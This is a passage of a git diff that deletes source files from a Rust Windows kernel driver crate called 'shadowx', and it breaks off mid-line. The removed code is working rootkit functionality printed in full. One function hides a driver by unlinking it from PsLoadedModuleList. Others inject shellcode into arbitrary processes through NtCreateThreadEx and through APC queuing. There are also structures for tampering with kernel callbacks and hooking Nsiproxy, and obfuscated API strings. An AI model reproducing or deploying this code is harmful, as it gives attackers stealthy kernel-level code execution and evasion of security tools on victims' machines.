KPROCESSOR_MODE, - NormalContext: PVOID - ); - - pub fn KeTestAlertThread( - AlertMode: KPROCESSOR_MODE - ); - - pub fn KeInsertQueueApc( - APC: PRKAPC, - SystemArgument1: PVOID, - SystemArgument2: PVOID, - Increment: KPRIORITY - ) -> bool; - - pub fn ObReferenceObjectByName( - ObjectName: PUNICODE_STRING, - Attributes: u32, - AccessState: PACCESS_STATE, - DesiredAccess: ACCESS_MASK, - ObjectType: POBJECT_TYPE, - AccessMode: KPROCESSOR_MODE, - ParseContext: PVOID, - Object: *mut PVOID, - ) -> NTSTATUS; -} diff --git a/crates/shadowx/src/data/mod.rs b/crates/shadowx/src/data/mod.rs deleted file mode 100644 index 45f1c4d..0000000 --- a/crates/shadowx/src/data/mod.rs +++ /dev/null @@ -1,13 +0,0 @@ -#![allow(non_camel_case_types, non_snake_case)] - -pub mod structs; -pub use structs::*; - -pub mod types; -pub use types::*; - -pub mod externs; -pub use externs::*; - -pub mod enums; -pub use enums::*; \ No newline at end of file diff --git a/crates/shadowx/src/data/structs.rs b/crates/shadowx/src/data/structs.rs deleted file mode 100644 index bc826fe..0000000 --- a/crates/shadowx/src/data/structs.rs +++ /dev/null @@ -1,399 +0,0 @@ -use { - wdk_sys::*, - bitfield::bitfield, - common::enums::Callbacks, - core::{ffi::c_void, mem::ManuallyDrop}, -}; - - -use super::COMUNICATION_TYPE; - -bitfield! { - pub struct PS_PROTECTION(u8); - pub u8, Type, SetType: 2, 0; - pub u8, Audit, SetAudit: 3; - pub u8, Signer, SetSigner: 7, 4; -} - -#[repr(C)] -pub struct PROCESS_SIGNATURE { - pub SignatureLevel: u8, - pub SectionSignatureLevel: u8, - pub Protection: PS_PROTECTION, -} - -#[repr(C)] -#[derive(Debug, Clone, Copy)] -pub struct SystemModuleInformation { - pub ModuleCount: u32, - pub Modules: [SystemModule; 256], -} - -#[repr(C)] -#[derive(Debug, Clone, Copy)] -pub struct SystemModule { - pub Section: *mut c_void, - pub MappedBase: *mut c_void, - pub ImageBase: *mut c_void, - pub Size: u32, - pub Flags: u32, - pub Index: u8, - pub NameLength: u8, - pub LoadCount: u8, - pub PathLength: u8, - pub ImageName: [u8; 256], -} - -#[repr(C)] -pub struct MMVAD_SHORT { - pub VadNode: RTL_BALANCED_NODE, - pub StartingVpn: u32, - pub EndingVpn: u32, - pub StartingVpnHigh: u8, - pub EndingVpnHigh: u8, - pub CommitChargeHigh: u8, - pub SpareNT64VadUChar: u8, - pub ReferenceCount: i32, - pub PushLock: usize, - pub u: MMVAD_SHORT_0, - pub u1: MMVAD_SHORT_0_0, - pub u5: MMVAD_SHORT_0_0_0, -} - -#[repr(C)] -pub union MMVAD_SHORT_0 { - pub LongFlags: u32, - pub VadFlags: ManuallyDrop, - pub PrivateVadFlags: ManuallyDrop, - pub GraphicsVadFlags: ManuallyDrop, - pub SharedVadFlags: ManuallyDrop, - pub VolatileLong: u32, -} - -#[repr(C)] -pub union MMVAD_SHORT_0_0 { - pub LongFlags1: u32, - pub VadFlags1: ManuallyDrop, -} - -#[repr(C)] -pub union MMVAD_SHORT_0_0_0 { - pub EventListUlongPtr: u64, - pub StartingVpnHigher: u8, -} - -#[repr(C)] -pub struct SUBSECTION { - pub ControlArea: *mut CONTROL_AREA, -} - -#[repr(C)] -pub struct CONTROL_AREA { - Segment: *mut *mut c_void, - ListOrAweContext: LIST_OR_AWE_CONTEXT, - NumberOfSectionReferences: u64, - NumberOfPfnReferences: u64, - NumberOfMappedViews: u64, - NumberOfUserReferences: u64, - u: CONTROL_AREA_0, - u1: CONTROL_AREA_0_0, - pub FilePointer: EX_FAST_REF -} - -#[repr(C)] -pub struct EX_FAST_REF { - pub Inner: EX_FAST_REF_INNER, -} - -#[repr(C)] -pub union EX_FAST_REF_INNER { - pub Object: *mut c_void, - pub Value: u64, -} - -#[repr(C)] -pub union CONTROL_AREA_0 { - LongFlags: u32, - Flags: u32, -} - -#[repr(C)] -pub union CONTROL_AREA_0_0 { - LongFlags: u32, - Flags: u32, -} - -#[repr(C)] -pub union LIST_OR_AWE_CONTEXT { - ListHead: LIST_ENTRY, - AweContext: *mut c_void, -} - -#[repr(C)] -pub struct MMVAD { - Core: MMVAD_SHORT, - u2: MMVAD_0, - pub SubSection: *mut SUBSECTION -} - -#[repr(C)] -pub union MMVAD_0 { - LongFlags2: u32, - VadFlags2: ManuallyDrop -} - -bitfield! { - #[repr(C)] - pub struct MMVAD_FLAGS(u32); - impl Debug; - u32; - pub Lock, SetLock: 0; - pub LockContended, SetLockContended: 1; - pub DeleteInProgress, SetDeleteInProgress: 2; - pub NoChange, SetNoChange: 3; - pub VadType, SetVadType: 6, 4; - pub Protection, SetProtection: 11, 7; - pub PreferredNode, SetPreferredNode: 18, 12; - pub PageSize, SetPageSize: 19, 20; - pub PrivateMemory, SetPrivateMemory: 21; -} - -bitfield! { - #[repr(C)] - pub struct MMVAD_FLAGS1(u32); - impl Debug; - pub CommitCharge, SetCommitCharge: 30, 0; - pub MemCommit, SetMemCommit: 31; -} - -bitfield! { - #[repr(C)] - pub struct MMVAD_FLAGS2(u32); - impl Debug; - u32; - pub FileOffset, SetFileOffset: 0, 23; - pub Large, SetLarge: 24; - pub TrimBehind, SetTrimBehind: 25; - pub Inherit, SetInherit: 26; - pub NoValidationNeeded, SetNoValidationNeeded: 27; - pub PrivateDemandZEro, SetPrivateDemandZero: 28; - pub Spare, SetSpare: 29, 31; -} - -bitfield! { - #[repr(C)] - pub struct MM_SHARED_VAD_FLAGS(u32); - impl Debug; - u32; - pub Lock, SetLock: 1; - pub LockContended, SetLockContended: 1; - pub DeleteInProgress, SetDeleteInProgress: 1; - pub NoChange, SetNoChange: 1; - pub VadType, SetVadType: 6, 4; - pub Protection, SetProtection: 11, 7; - pub PreferredNode, SetPreferredNode: 18, 12; - pub PageSize, SetPageSize: 19, 20; - pub PrivateMemoryAlwaysSet, SetPrivateMemory: 21; - pub PrivateFixup, SetPrivateFixup: 22; - pub HotPatchState, SetHotPatchState: 24, 23; -} - -bitfield! { - #[repr(C)] - pub struct MM_PRIVATE_VAD_FLAGS(u32); - impl Debug; - u32; - pub Lock, SetLock: 1; - pub LockContended, SetLockContended: 1; - pub DeleteInProgress, SetDeleteInProgress: 1; - pub NoChange, SetNoChange: 1; - pub VadType, SetVadType: 6, 4; - pub Protection, SetProtection: 11, 7; - pub PreferredNode, SetPreferredNode: 18, 12; - pub PageSize, SetPageSize: 19, 20; - pub PrivateMemoryAlwaysSet, SetPrivateMemory: 21; - pub Writewatch, setWrite: 22; - pub FixedLargePageSize, SetPageLarge: 23; - pub ZeroFillPagesOptional, SetZeroFill: 24; - pub Graphics, SetGraphics: 25; - pub Enclave, SetEnclave: 26; - pub ShadowStack, SetShadowStack: 27; - pub PhysicalMemoryPfnsReferenced, SetPhysical: 28; -} - -bitfield! { - #[repr(C)] - pub struct MM_GRAPHICS_VAD_FLAGS(u32); - impl Debug; - u32; - pub Lock, SetLock: 1; - pub LockContended, SetLockContended: 1; - pub DeleteInProgress, SetDeleteInProgress: 1; - pub NoChange, SetNoChange: 1; - pub VadType, SetVadType: 6, 4; - pub Protection, SetProtection: 11, 7; - pub PreferredNode, SetPreferredNode: 18, 12; - pub PageSize, SetPageSize: 19, 20; - pub PrivateMemoryAlwaysSet, SetPrivateMemory: 21; - pub Writewatch, setWrite: 22; - pub FixedLargePageSize, SetPageLarge: 23; - pub ZeroFillPagesOptional, SetZeroFill: 24; - pub GraphicsAlwaysSet, SetGraphicsAlwaysSet: 25; - pub GraphicsUseCoherent, SetGraphicsUseCoherent: 26; - pub GraphicsNoCache, SetGraphicsNoCache: 27; - pub GraphicsPageProtection, SetGraphicsPageProtection: 30, 28; -} - -#[repr(C)] -pub struct TRACE_ENABLE_INFO { - pub IsEnabled: u32, - pub Level: u8, - pub Reserved1: u8, - pub LoggerId: u16, - pub EnableProperty: u32, - pub Reserved2: u32, - pub MatchAnyKeyword: u64, - pub MatchAllKeyword: u64 -} - - -#[repr(C)] -#[derive(Debug)] -pub struct NSI_TCP_ENTRY { - pub Reserved1: [u8; 2], - pub Port: u16, - pub IpAddress: u32, - pub IpAddress6: [u8; 16], - pub Reserved2: [u8; 4] -} - -#[repr(C)] -#[derive(Debug)] -pub struct NSI_TABLE_TCP_ENTRY { - pub Local: NSI_TCP_ENTRY, - pub Remote: NSI_TCP_ENTRY -} - -#[repr(C)] -pub struct NSI_UDP_ENTRY { - pub Reserved1: [u8; 2], - pub Port: u16, - pub IpAddress: u32, - pub IpAddress6: [u8; 16], - pub Reserved2: [u8; 4] -} - -#[repr(C)] -pub struct NSI_PARAM { - pub Reserved1: usize, - pub Reverved2: usize, - pub ModuleId: *mut core::ffi::c_void, - pub Type_: COMUNICATION_TYPE, - pub Reserved3: u32, - pub Reserved4: u32, - pub Entries: *mut core::ffi::c_void, - pub EntrySize: usize, - pub Reserved5: *mut core::ffi::c_void, - pub Reserved6: usize, - pub StatusEntries: *mut NSI_STATUS_ENTRY, - pub Reserved7: usize, - pub ProcessEntries: *mut NSI_PROCESS_ENTRY, - pub ProcessEntrySize: usize, - pub Count: usize -} - -#[repr(C)] -pub struct NSI_STATUS_ENTRY { - pub State: u32, - pub Reserved: [u8; 8] -} - -#[repr(C)] -pub struct NSI_PROCESS_ENTRY { - pub UdpProcessId: u32, - pub Reserved1: u32, - pub Reserved2: u32, - pub TcpProcessId: u32, - pub Reserved3: u32, - pub Reserved4: u32, - pub Reserved5: u32, - pub Reserved6: u32 -} - -#[repr(C)] -pub struct FULL_OBJECT_TYPE { - pub TypeList: LIST_ENTRY, - pub Name: UNICODE_STRING, - pub DefaultObject: *mut c_void, - pub Index: u8, - pub TotalNumberOf_Objects: u32, - pub TotalNumberOfHandles: u32, - pub HighWaterNumberOfObjects: u32, - pub HighWaterNumberOfHandles: u32, - pub TypeInfo: [u8; 0x78], - pub TypeLock: _EX_PUSH_LOCK, - pub Key: u32, - pub CallbackList: LIST_ENTRY, -} - -bitfield! { - pub struct _EX_PUSH_LOCK(u64); - impl Debug; - u64; - Locked, SetLocked: 0; - Waiting, SetWaiting: 1; - Waking, Setwaking: 2; - MultipleShared, SetMultipleShared: 3; - Shared, SetShared: 63, 4; -} - -#[repr(C)] -#[derive(Default)] -pub struct CallbackRestaure { - pub index: usize, - pub callback: Callbacks, - pub address: u64, -} - -#[repr(C)] -#[derive(Default)] -pub struct CallbackRestaureOb{ - pub index: usize, - pub callback: Callbacks, - pub pre_operation: u64, - pub post_operation: u64, - pub entry: u64, -} - -#[repr(C)] -#[derive(Debug, Clone, Copy)] -pub struct CM_CALLBACK { - pub List: LIST_ENTRY, - pub Unknown1: [u64; 2], - pub Context: u64, - pub Function: u64, - pub Altitude: UNICODE_STRING, - pub Unknown2: [u64; 2], -} - -#[repr(C)] -pub struct OBCALLBACK_ENTRY { - pub CallbackList: LIST_ENTRY, - pub Operations: OB_OPERATION, - pub Enabled: bool, - pub Entry: *mut OB_CALLBACK, - pub ObjectType: POBJECT_TYPE, - pub PreOperation: POB_PRE_OPERATION_CALLBACK, - pub PostOperation: POB_POST_OPERATION_CALLBACK, - pub Lock: KSPIN_LOCK -} - -#[repr(C)] -pub struct OB_CALLBACK { - pub Version: u16, - pub OperationRegistrationCount: u16, - pub RegistrationContext: *mut c_void, - pub AltitudeString: UNICODE_STRING, - pub EntryItems: [OBCALLBACK_ENTRY; 1], - pub AltitudeBuffer: [u16; 1], -} \ No newline at end of file diff --git a/crates/shadowx/src/data/types.rs b/crates/shadowx/src/data/types.rs deleted file mode 100644 index aafda3d..0000000 --- a/crates/shadowx/src/data/types.rs +++ /dev/null @@ -1,41 +0,0 @@ -#![allow(non_camel_case_types)] - -use wdk_sys::*; -use ntapi::ntpsapi::PPS_ATTRIBUTE_LIST; - -pub type DRIVER_INITIALIZE = core::option::Option NTSTATUS>; - -pub type ZwCreateThreadExType = unsafe extern "system" fn ( - ThreadHandle: PHANDLE, - DesiredAccess: ACCESS_MASK, - ObjectAttributes: POBJECT_ATTRIBUTES, - ProcessHandle: HANDLE, - StartRoutine: PVOID, - Argument: PVOID, - CreateFlags: SIZE_T, - ZeroBits: usize, - StackSize: usize, - MaximumStackSize: usize, - AttributeList: PPS_ATTRIBUTE_LIST -) -> NTSTATUS; - -pub type PKRUNDOWN_ROUTINE = Option NTSTATUS>; - -pub type PKNORMAL_ROUTINE = Option NTSTATUS>; - -pub type PKKERNEL_ROUTINE = unsafe extern "system" fn( - APC: PKAPC, - NormalRoutine: *mut PKNORMAL_ROUTINE, - NormalContext: *mut PVOID, - SystemArgument1: *mut PVOID, - SystemArgument2: *mut PVOID -); \ No newline at end of file diff --git a/crates/shadowx/src/driver.rs b/crates/shadowx/src/driver.rs deleted file mode 100644 index c466185..0000000 --- a/crates/shadowx/src/driver.rs +++ /dev/null @@ -1,180 +0,0 @@ -use { - obfstr::obfstr, - common::structs::DriverInfo, - crate::{error::ShadowError, uni}, - alloc::{ - vec::Vec, - string::{String, ToString}, - }, - ntapi::ntldr::LDR_DATA_TABLE_ENTRY, - wdk_sys::{ - ntddk::MmGetSystemRoutineAddress, - LIST_ENTRY, NTSTATUS, PLIST_ENTRY, - STATUS_SUCCESS - } -}; - -/// Represents driver manipulation operations. -/// -/// The `Driver` struct provides methods to hide and unhide kernel drivers -/// by modifying the `PsLoadedModuleList`, which tracks loaded drivers in the system. -pub struct Driver; - -impl Driver { - /// Hides a specified driver from the PsLoadedModuleList. - /// - /// This function iterates over the `PsLoadedModuleList` to find a driver whose name matches - /// the provided `driver_name`. Once found, the driver is unlinked from the list, effectively hiding it - /// from tools that inspect the loaded drivers list. - /// - /// # Arguments - /// - /// * `driver_name` - A string slice containing the name of the driver to hide. - /// - /// # Returns - /// - /// * `Ok((LIST_ENTRY, LDR_DATA_TABLE_ENTRY))` - Returns a tuple containing the previous `LIST_ENTRY` - /// and the `LDR_DATA_TABLE_ENTRY` of the hidden driver, which can be used later to restore the driver in the list. - /// * `Err(ShadowError)` - If the driver is not found or a failure occurs during the process. - pub unsafe fn hide_driver(driver_name: &str) -> Result<(LIST_ENTRY, LDR_DATA_TABLE_ENTRY), ShadowError> { - // Convert "PsLoadedModuleList" to a UNICODE_STRING to get its address - let ps_module = uni::str_to_unicode(obfstr!("PsLoadedModuleList")); - - // Get the address of the PsLoadedModuleList, which contains the list of loaded drivers - let ldr_data = MmGetSystemRoutineAddress(&mut ps_module.to_unicode()) as *mut LDR_DATA_TABLE_ENTRY; - if ldr_data.is_null() { - return Err(ShadowError::NullPointer("LDR_DATA_TABLE_ENTRY")); - } - - let list_entry = ldr_data as *mut LIST_ENTRY; - let mut next = (*ldr_data).InLoadOrderLinks.Flink as *mut LIST_ENTRY; - - // Iterate through the loaded module list to find the target driver - while next != list_entry { - let current = next as *mut LDR_DATA_TABLE_ENTRY; - - // Convert the driver name from UTF-16 to a Rust string - let buffer = core::slice::from_raw_parts((*current).BaseDllName.Buffer, ((*current).BaseDllName.Length / 2) as usize); - let name = String::from_utf16_lossy(buffer); - - // Check if the current driver matches the target driver - if name.contains(driver_name) { - // The next driver in the chain - let next = (*current).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY; - - // The previous driver in the chain - let previous = (*current).InLoadOrderLinks.Blink as *mut LDR_DATA_TABLE_ENTRY; - - // Storing the previous list entry, which will be returned - let previous_link = LIST_ENTRY { - Flink: next as *mut LIST_ENTRY, - Blink: previous as *mut LIST_ENTRY, - }; - - // Unlink the current driver - (*next).InLoadOrderLinks.Blink = previous as *mut winapi::shared::ntdef::LIST_ENTRY; - (*previous).InLoadOrderLinks.Flink = next as *mut winapi::shared::ntdef::LIST_ENTRY; - - // Make the current driver point to itself to "hide" it - (*current).InLoadOrderLinks.Flink = current as *mut winapi::shared::ntdef::LIST_ENTRY; - (*current).InLoadOrderLinks.Blink = current as *mut winapi::shared::ntdef::LIST_ENTRY; - - return Ok((previous_link, *current)) - } - - next = (*next).Flink; - } - - // Return an error if the driver is not found - Err(ShadowError::DriverNotFound(driver_name.to_string())) - } - - /// Unhides a previously hidden driver by restoring it to the `PsLoadedModuleList`. - /// - /// This function takes a previously hidden driver's `LIST_ENTRY` and `LDR_DATA_TABLE_ENTRY` - /// and restores it back into the module list, making it visible again. - /// - /// # Arguments - /// - /// * `driver_name` - The name of the driver to unhide. - /// * `list_entry` - A pointer to the `LIST_ENTRY` that was saved when the driver was hidden. - /// * `driver_entry` - A pointer to the `LDR_DATA_TABLE_ENTRY` of the hidden driver. - /// - /// # Returns - /// - /// * `Ok(STATUS_SUCCESS)` - If the driver is successfully restored to the list. - /// * `Err(ShadowError)` - If an error occurs during the restoration process. - pub unsafe fn unhide_driver(driver_name: &str, list_entry: PLIST_ENTRY, driver_entry: *mut LDR_DATA_TABLE_ENTRY) -> Result { - // Restore the driver's link pointers - (*driver_entry).InLoadOrderLinks.Flink = (*list_entry).Flink as *mut winapi::shared::ntdef::LIST_ENTRY; - (*driver_entry).InLoadOrderLinks.Blink = (*list_entry).Blink as *mut winapi::shared::ntdef::LIST_ENTRY; - - // Link the driver back into the list - let next = (*driver_entry).InLoadOrderLinks.Flink; - let previous = (*driver_entry).InLoadOrderLinks.Blink; - - (*next).Blink = driver_entry as *mut winapi::shared::ntdef::LIST_ENTRY; - (*previous).Flink = driver_entry as *mut winapi::shared::ntdef::LIST_ENTRY; - - Ok(STATUS_SUCCESS) - } - - /// Enumerates all drivers currently loaded in the kernel. - /// - /// This function iterates over the `PsLoadedModuleList` to gather information about all - /// currently loaded drivers, such as their name, base address, and index. It stores the - /// gathered information in a `Vec` which is returned to the caller. - /// - /// # Returns - /// - /// * `Ok(Vec)` - A vector of `DriverInfo` structs, each containing the name, base address, - /// and index of a loaded driver. - /// * `Err(ShadowError)` - If the function fails to access the `PsLoadedModuleList` or any other - /// errors occur during the process. - pub unsafe fn enumerate_driver() -> Result, ShadowError> { - let mut drivers: Vec = Vec::with_capacity(276); - - // Convert "PsLoadedModuleList" to a UNICODE_STRING to get its address - let ps_module = uni::str_to_unicode(obfstr!("PsLoadedModuleList")); - - // Get the address of the PsLoadedModuleList, which contains the list of loaded drivers - let ldr_data = MmGetSystemRoutineAddress(&mut ps_module.to_unicode()) as *mut LDR_DATA_TABLE_ENTRY; - if ldr_data.is_null() { - return Err(ShadowError::NullPointer("LDR_DATA_TABLE_ENTRY")); - } - - let current = ldr_data as *mut winapi::shared::ntdef::LIST_ENTRY; - let mut next = (*ldr_data).InLoadOrderLinks.Flink; - let mut count = 0; - - // Iterate over the list of loaded drivers - while next != current { - let ldr_data_entry = next as *mut LDR_DATA_TABLE_ENTRY; - - // Get the driver name from the `BaseDllName` field, converting it from UTF-16 to a Rust string - let buffer = core::slice::from_raw_parts( - (*ldr_data_entry).BaseDllName.Buffer, - ((*ldr_data_entry).BaseDllName.Length / 2) as usize, - ); - - // Prepare the name buffer, truncating if necessary to fit the 256-character limit - let mut name = [0u16; 256]; - let length = core::cmp::min(buffer.len(), 255); - name[..length].copy_from_slice(&buffer[..length]); - - // Populates the `DriverInfo` structure with name, address, and index - drivers.push(DriverInfo { - name, - address: (*ldr_data_entry).DllBase as usize, - index: count as u8, - }); - - count += 1; - - // Move to the next driver in the list - next = (*next).Flink; - } - - Ok(drivers) - } -} diff --git a/crates/shadowx/src/error.rs b/crates/shadowx/src/error.rs deleted file mode 100644 index c6b533b..0000000 --- a/crates/shadowx/src/error.rs +++ /dev/null @@ -1,150 +0,0 @@ -use alloc::string::String; -use thiserror_no_std::Error; - -#[derive(Debug, Error)] -pub enum ShadowError { - /// Represents an error where an API call failed. - /// - /// * `{0}` - The name of the API. - /// * `{1}` - The status code returned by the API. - #[error("{0} Failed With Status: {1}")] - ApiCallFailed(&'static str, i32), - - /// Represents an error where a function execution failed at a specific line. - /// - /// * `{0}` - The name of the function. - /// * `{1}` - The line number where the function failed. - #[error("{0} function failed on the line: {1}")] - FunctionExecutionFailed(&'static str, u32), - - /// Error when a process with a specific identifier is not found. - /// - /// This error is returned when the system cannot locate a process with the given - /// identifier (e.g., PID or process name). - /// - /// * `{0}` - The identifier of the process that was not found. - #[error("Process with identifier {0} not found")] - ProcessNotFound(String), - - /// Error when a thread with a specific TID is not found. - /// - /// This error occurs when a thread with the specified TID cannot be located in the system. - /// - /// * `{0}` - The thread identifier (TID) that was not found. - #[error("Thread with TID {0} not found")] - ThreadNotFound(usize), - - /// Represents an invalid device request error. - /// - /// This error occurs when an invalid or unsupported request is made to a device. - #[error("Invalid Device Request")] - InvalidDeviceRequest, - - /// Represents an error where a null pointer was encountered. - /// - /// This error occurs when a null pointer is encountered during an operation that - /// requires a valid memory reference. - /// - /// * `{0}` - The name of the pointer that was null. - #[error("Pointer is null: {0}")] - NullPointer(&'static str), - - /// Represents an error where a string conversion from a raw pointer failed. - /// - /// This error is returned when the system fails to convert a raw pointer to a string, - /// typically during Unicode or ANSI string conversions. - /// - /// * `{0}` - The memory address of the raw pointer that failed to convert. - #[error("Failed to convert string from raw pointer at {0}")] - StringConversionFailed(usize), - - /// Represents an error where a specific module was not found. - /// - /// This error occurs when a module (e.g., a DLL or driver) with the specified name - /// cannot be found in the system. - /// - /// * `{0}` - The name of the module that was not found. - #[error("Module {0} not found")] - ModuleNotFound(String), - - /// Represents an error where a driver with a specific name was not found. - /// - /// This error occurs when a driver with the given name cannot be found in the - /// system's loaded drivers list. - /// - /// * `{0}` - The name of the driver that was not found. - #[error("Driver {0} not found")] - DriverNotFound(String), - - /// Represents an error where a pattern scan failed to locate a required pattern in memory. - /// - /// This error occurs when a memory pattern scan fails to match the expected byte sequence. - #[error("Pattern not found")] - PatternNotFound, - - /// Represents an error where a function could not be found in the specified module. - /// - /// This error occurs when a named function is not found in a given module (DLL). - /// - /// * `{0}` - The name of the function that was not found. - #[error("Function {0} not found in module")] - FunctionNotFound(String), - - /// Represents an unknown failure in the system. - /// - /// This is a generic catch-all error for unexpected failures. It includes the name of - /// the failing operation and the line number where the failure occurred. - /// - /// * `{0}` - The operation that failed. - /// * `{1}` - The line number where the failure occurred. - #[error("Unknown failure in {0}, at line {1}")] - UnknownFailure(&'static str, u32), - - /// Represents an error when installing or uninstalling a hook on the Nsiproxy driver. - /// - /// This error occurs when the system fails to install or remove a hook on the Nsiproxy driver. - #[error("Error handling hook on Nsiproxy driver")] - HookFailure, - - /// Represents an error when a buffer is too small to complete an operation. - /// - /// This error occurs when the provided buffer is not large enough to hold the expected - /// data, resulting in an operation failure. - #[error("Small buffer")] - BufferTooSmall, - - /// Error indicating that a callback could not be found. - /// - /// This occurs when the system is unable to locate the expected callback function. - #[error("Error searching for the callback")] - CallbackNotFound, - - /// Error indicating that a target with a specific index was not found. - /// - /// This occurs when an operation fails to locate an item by its index in a list or array. - /// - /// # Fields - /// - /// * `{0}` - The index of the target that was not found. - #[error("Target not found with index: {0}")] - IndexNotFound(usize), - - /// Error indicating that a failure occurred while removing a callback. - /// - /// This occurs when the system fails to remove a callback that was previously registered. - #[error("Error removing a callback")] - RemoveFailureCallback, - - /// Error indicating that a failure occurred while restoring a callback. - /// - /// This occurs when the system fails to restore a previously removed callback. - #[error("Error restoring a callback")] - RestoringFailureCallback, -} - -impl ShadowError { - /// Helper function to create a `ProcessNotFound` error from any type that can be converted into a `String`. - pub fn process_not_found>(id: T) -> Self { - ShadowError::ProcessNotFound(id.into()) - } -} \ No newline at end of file diff --git a/crates/shadowx/src/injection.rs b/crates/shadowx/src/injection.rs deleted file mode 100644 index 779ba04..0000000 --- a/crates/shadowx/src/injection.rs +++ /dev/null @@ -1,389 +0,0 @@ -#![allow(non_snake_case)] - -use { - obfstr::obfstr, - wdk_sys::{ - *, - ntddk::*, - _MODE::{KernelMode, UserMode} - }, - core::{ - ffi::c_void, ptr::null_mut, - mem::transmute - }, - crate::{ - *, - pool::PoolMemory, - error::ShadowError, - patterns::find_zw_function, - handle::Handle, file::read_file, - KAPC_ENVIROMENT::OriginalApcEnvironment, - }, -}; - -/// Represents shellcode injection operations. -/// -/// The `Shellcode` struct provides methods for injecting shellcode into a target process -/// by allocating memory, copying shellcode, and creating a remote thread in the process. -pub struct Shellcode; - -impl Shellcode { - /// Injects shellcode into a target process using `NtCreateThreadEx`. - /// - /// This function performs the following steps: - /// 1. Opens the target process with all access rights. - /// 2. Allocates memory in the target process for the shellcode. - /// 3. Copies the shellcode from the current process into the allocated memory. - /// 4. Changes the memory protection to allow execution. - /// 5. Creates a new thread in the target process to execute the shellcode. - /// - /// # Arguments - /// - /// * `pid` - The process identifier (PID) of the target process where the shellcode will be injected. - /// * `path` - The file path to the shellcode to be injected, which will be read into memory. - /// - /// # Returns - /// - /// * `Ok(STATUS_SUCCESS)` - If the injection is successful. - /// * `Err(ShadowError)` - If any step in the injection process fails, such as: - /// - Opening the process (`ZwOpenProcess` failure), - /// - Allocating virtual memory in the target process (`ZwAllocateVirtualMemory` failure), - /// - Protecting virtual memory (`ZwProtectVirtualMemory` failure), - /// - Creating the thread in the target process (`ZwCreateThreadEx` failure). - pub unsafe fn injection_thread(pid: usize, path: &str) -> Result { - // Find the address of NtCreateThreadEx to create a thread in the target process - let zw_thread_addr = find_zw_function(obfstr!("NtCreateThreadEx"))? as *mut c_void; - - // Retrieve the EPROCESS structure for the target process - let target_eprocess = Process::new(pid)?; - - // Open the target process with all access rights - let mut client_id = CLIENT_ID { - UniqueProcess: pid as _, - UniqueThread: null_mut(), - }; - let mut h_process: HANDLE = null_mut(); - let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None); - let mut status = ZwOpenProcess(&mut h_process, PROCESS_ALL_ACCESS, &mut obj_attr, &mut client_id); - if !NT_SUCCESS(status) { - return Err(ShadowError::ApiCallFailed("ZwOpenProcess", status)); - } - - // Wrap the process handle in a safe Handle type - let h_process = Handle::new(h_process); - - // Read the shellcode from the provided file path - let shellcode = read_file(path)?; - - // Allocate memory in the target process for the shellcode - let mut region_size = shellcode.len() as u64; - let mut base_address = null_mut(); - status = ZwAllocateVirtualMemory(h_process.get(), &mut base_address, 0, &mut region_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); - if !NT_SUCCESS(status) { - return Err(ShadowError::ApiCallFailed("ZwAllocateVirtualMemory", status)); - } - - // Copy the shellcode into the allocated memory in the target process - let mut result_number = 0; - MmCopyVirtualMemory( - IoGetCurrentProcess(), - shellcode.as_ptr() as _, - target_eprocess.e_process, - base_address, - shellcode.len() as u64, - KernelMode as i8, - &mut result_number, - ); - - // Change the memory protection to allow execution of the shellcode - let mut old_protect = 0; - status = ZwProtectVirtualMemory(h_process.get(), &mut base_address, &mut region_size, PAGE_EXECUTE_READ, &mut old_protect); - if !NT_SUCCESS(status) { - return Err(ShadowError::ApiCallFailed("ZwProtectVirtualMemory", status)); - } - - // Create a thread in the target process to execute the shellcode - let ZwCreateThreadEx = transmute::<_, ZwCreateThreadExType>(zw_thread_addr); - let mut h_thread = null_mut(); - let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None); - status = ZwCreateThreadEx( - &mut h_thread, - THREAD_ALL_ACCESS, - &mut obj_attr, - h_process.get(), - transmute(base_address), - null_mut(), - 0, - 0, - 0, - 0, - null_mut() - ); - - if !NT_SUCCESS(status) { - return Err(ShadowError::ApiCallFailed("ZwCreateThreadEx", status)); - } - - // Close the thread handle after creation - ZwClose(h_thread); - - Ok(STATUS_SUCCESS) - } - - /// Injects shellcode into a target process using Asynchronous Procedure Call (APC). - /// - /// This function performs the following steps: - /// 1. Finds an alertable thread in the target process. - /// 2. Allocates memory in the target process for the shellcode. - /// 3. Copies the shellcode from the current process to the target process. - /// 4. Initializes two APCs (kernel and user). - /// 5. Queues the APCs into the alertable thread of the target process. - /// - /// # Arguments - /// - /// * `pid` - The process identifier (PID) of the target process where the shellcode will be injected. - /// * `path` - The file path to the shellcode that will be injected into the target process. - /// - /// # Returns - /// - /// * `Ok(STATUS_SUCCESS)` - If the shellcode injection is successful. - /// * `Err(ShadowError)` - If any of the following steps fail: - /// - Finding an alertable thread (`find_thread_alertable`), - /// - Opening the process (`ZwOpenProcess` failure), - /// - Allocating memory in the target process (`ZwAllocateVirtualMemory` failure), - /// - Queuing the APC (`KeInsertQueueApc` failure). - pub unsafe fn injection_apc(pid: usize, path: &str) -> Result { - // Read the shellcode from the provided file path - let shellcode = read_file(path)?; - - // Find an alertable thread in the target process - let thread_id = find_thread_alertable(pid)?; - - // Open the target process - let target_eprocess = Process::new(pid)?; - let mut h_process: HANDLE = null_mut(); - let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None); - let mut client_id = CLIENT_ID { - UniqueProcess: pid as _, - UniqueThread: null_mut(), - }; - let mut status = ZwOpenProcess(&mut h_process, PROCESS_ALL_ACCESS, &mut obj_attr, &mut client_id); - if !NT_SUCCESS(status) { - return Err(ShadowError::ApiCallFailed("ZwOpenProcess", status)); - } - - // Wrap the process handle in a safe Handle type - let h_process = Handle::new(h_process); - - // Allocate memory in the target process for the shellcode - let mut base_address = null_mut(); - let mut region_size = shellcode.len() as u64; - status = ZwAllocateVirtualMemory(h_process.get(), &mut base_address, 0, &mut region_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); - if !NT_SUCCESS(status) { - return Err(ShadowError::ApiCallFailed("ZwAllocateVirtualMemory", status)); - } - - // Copy the shellcode into the target process's memory - let mut result_number = 0; - MmCopyVirtualMemory( - IoGetCurrentProcess(), - shellcode.as_ptr() as _, - target_eprocess.e_process, - base_address, - shellcode.len() as u64, - KernelMode as i8, - &mut result_number, - ); - - // Allocate memory for kernel and user APC objects - let user_apc = PoolMemory::new(POOL_FLAG_NON_PAGED, size_of::() as u64, u32::from_be_bytes(*b"krts")) - .map(|mem: 